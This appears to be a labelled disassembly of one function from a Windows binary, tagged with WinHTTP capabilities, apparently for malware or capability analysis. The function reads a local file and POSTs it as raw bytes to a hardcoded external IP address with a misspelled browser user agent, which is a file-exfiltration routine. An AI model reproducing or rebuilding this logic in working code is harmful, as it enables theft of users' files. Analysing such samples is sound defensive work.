Function at 0x1400020c0
Capabilities:
Initialize winhttp library
Prepare http request
Receive http response
Send data
Send http request

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0xe0]
sub rsp, 0x1e0
mov rax, qword [0x140037080]
xor rax, rsp
mov qword [rbp + 0xd0], rax
mov rbx, rdx
xor r13d, r13d
mov dword [rsp + 0x40], r13d
mov dword [rsp + 0x20], r13d
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, str.Mozila_5.0
call qword [sym.imp.WINHTTP.dll_WinHttpOpen]
mov rsi, rax
test rax, rax
je 0x1400024d1
mov r8d, 0x1539
xor r9d, r9d
lea rdx, str.37.230.162.57
mov rcx, rax
call qword [sym.imp.WINHTTP.dll_WinHttpConnect]
mov r15, rax
test rax, rax
je 0x140002184
mov dword [rsp + 0x30], r13d
mov qword [rsp + 0x28], r13
mov qword [rsp + 0x20], r13
xor r9d, r9d
lea r8, str._in_file
lea rdx, str.POST
mov rcx, rax
call qword [sym.imp.WINHTTP.dll_WinHttpOpenRequest]
mov r14, rax
test rax, rax
jne 0x140002192
mov rcx, r15
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov rcx, rsi
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
jmp 0x1400024d1
xor edx, edx
mov r8d, pe_nt_image_headers64
lea rcx, [rbp - 0x40]
call fcn.140025290
lea rax, [0x140031788]
mov qword [rbp - 0x40], rax
mov qword [rbp + 0x78], r13
mov qword [rbp + 0x80], r13
mov dword [rbp + 0x88], r13d
xorps xmm0, xmm0
movdqa xmmword [rbp + 0x90], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0xa0], xmm1
movdqa xmmword [rbp + 0xb0], xmm0
mov qword [rbp + 0xc0], r13
mov byte [rbp + 0xc8], r13b
mov dword [rsp + 0x40], 1
lea rax, vtable.std::basic_istream_char__struct_std::char_traits_char__.0
mov qword [rbp + 0x70], rax
mov dword [rbp + 0x6c], 0x98
mov qword [rbp - 0x38], r13
lea rdx, [rbp - 0x30]
lea rcx, [rbp + 0x70]
call fcn.140005250
nop
mov rax, qword [rbp - 0x40]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx - 0x40], rax
mov rax, qword [rbp - 0x40]
movsxd rcx, dword [rax + 4]
lea r8d, [rcx - 0xb0]
mov dword [rbp + rcx - 0x44], r8d
lea rcx, [rbp - 0x30]
call fcn.140004e00
nop
mov r8d, 0x21
mov rdx, rbx
lea rcx, [rbp - 0x30]
call fcn.140004c30
mov ebx, 2
lea r12d, [rbx + 4]
test rax, rax
jne 0x140002295
mov rax, qword [rbp - 0x40]
movsxd rcx, dword [rax + 4]
mov eax, r12d
cmp qword [rbp + rcx + 8], 0
cmovne eax, ebx
or eax, dword [rbp + rcx - 0x30]
and eax, 0x17
mov dword [rbp + rcx - 0x30], eax
mov edx, dword [rbp + rcx - 0x2c]
and edx, eax
jne 0x140002507
cmp qword [rbp + 0x50], 0
jne 0x1400022bc
mov rcx, r14
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov rcx, r15
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov rcx, rsi
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
jmp 0x14000246a
mov r8d, ebx
lea rcx, [rbp - 0x40]
call fcn.140003f90
lea rdx, [rbp - 0x80]
lea rcx, [rbp - 0x40]
call fcn.140003eb0
mov rdi, qword [rax + 8]
add rdi, qword [rax]
xor r8d, r8d
lea rcx, [rbp - 0x40]
call fcn.140003f90
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x68], xmm1
mov qword [rbp - 0x58], r13
test rdi, rdi
je 0x14000236b
movabs rax, 0x7fffffffffffffff
cmp rdi, rax
ja 0x14000255a
cmp rdi, 0x1000
jb 0x140002341
lea rcx, [rdi + 0x27]
cmp rcx, rdi
jbe 0x140002560
call fcn.140008578
mov rcx, rax
test rax, rax
je 0x140002501
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x140002349
mov rcx, rdi
call fcn.140008578
mov qword [rbp - 0x68], rax
lea rbx, [rax + rdi]
mov qword [rbp - 0x58], rbx
mov r8, rdi
xor edx, edx
mov rcx, rax
call fcn.140025290
mov qword [rbp - 0x60], rbx
mov ebx, 2
mov r8, rdi
mov rdx, qword [rbp - 0x68]
lea rcx, [rbp - 0x40]
call fcn.140004180
lea rcx, [rbp - 0x30]
call fcn.140004b30
test rax, rax
jne 0x1400023b6
mov rax, qword [rbp - 0x40]
movsxd rcx, dword [rax + 4]
cmp qword [rbp + rcx + 8], 0
cmovne r12d, ebx
or r12d, dword [rbp + rcx - 0x30]
and r12d, 0x17
mov dword [rbp + rcx - 0x30], r12d
mov eax, dword [rbp + rcx - 0x2c]
and eax, r12d
jne 0x140002566
mov qword [rsp + 0x30], r13
mov dword [rsp + 0x28], edi
mov dword [rsp + 0x20], r13d
xor r9d, r9d
mov r8d, 0xffffffff
lea rdx, str.Content_Type:_application_octet_stream_r_n
mov rcx, r14
call qword [sym.imp.WINHTTP.dll_WinHttpSendRequest]
test eax, eax
je 0x140002408
mov dword [rbp - 0x50], r13d
lea r9, [rbp - 0x50]
mov r8d, edi
mov rdx, qword [rbp - 0x68]
mov rcx, r14
call qword [sym.imp.WINHTTP.dll_WinHttpWriteData]
test eax, eax
je 0x140002408
xor edx, edx
mov rcx, r14
call qword [sym.imp.WINHTTP.dll_WinHttpReceiveResponse]
mov rcx, r14
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov rcx, r15
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov rcx, rsi
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
nop
mov rcx, qword [rbp - 0x68]
test rcx, rcx
je 0x14000246a
mov rdx, qword [rbp - 0x58]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002459
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002501
call fcn.140008570
xorps xmm0, xmm0
movdqu xmmword [rbp - 0x68], xmm0
mov qword [rbp - 0x58], r13
mov rax, qword [rbp - 0x40]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx - 0x40], rax
mov rax, qword [rbp - 0x40]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rbp + rcx - 0x44], edx
lea rcx, [rbp - 0x30]
call fcn.140003c00
mov rax, qword [rbp - 0x40]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_istream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx - 0x40], rax
mov rax, qword [rbp - 0x40]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x18]
mov dword [rbp + rcx - 0x44], edx
lea rax, vtable.std::ios_base.0
mov qword [rbp + 0x70], rax
lea rcx, [rbp + 0x70]
call fcn.140007b58
nop
mov rcx, qword [rbp + 0xd0]
xor rcx, rsp
call fcn.140008550
lea r11, [rsp + 0x1e0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.140010f3c
nop
test dl, 4
je 0x140002515
lea rbx, str.ios_base::badbit_set
jmp 0x140002529
test bl, dl
lea rbx, str.ios_base::failbit_set
lea rax, str.ios_base::eofbit_set
cmove rbx, rax
mov edx, 1
lea rcx, [rsp + 0x48]
call fcn.140001600
mov r8, rax
mov rdx, rbx
lea rcx, [rsp + 0x58]
call fcn.140001e70
lea rdx, [0x140035ce0]
lea rcx, [rsp + 0x58]
call fcn.14000a33c
nop
call fcn.140005bb0
int3
call fcn.140001490
nop
test al, 4
je 0x140002573
lea rbx, str.ios_base::badbit_set
jmp 0x140002587
test al, 2
lea rbx, str.ios_base::failbit_set
lea rax, str.ios_base::eofbit_set
cmove rbx, rax
mov edx, 1
lea rcx, [rsp + 0x48]
call fcn.140001600
mov r8, rax
mov rdx, rbx
lea rcx, [rsp + 0x58]
call fcn.140001e70
lea rdx, [0x140035ce0]
lea rcx, [rsp + 0x58]
call fcn.14000a33c
int3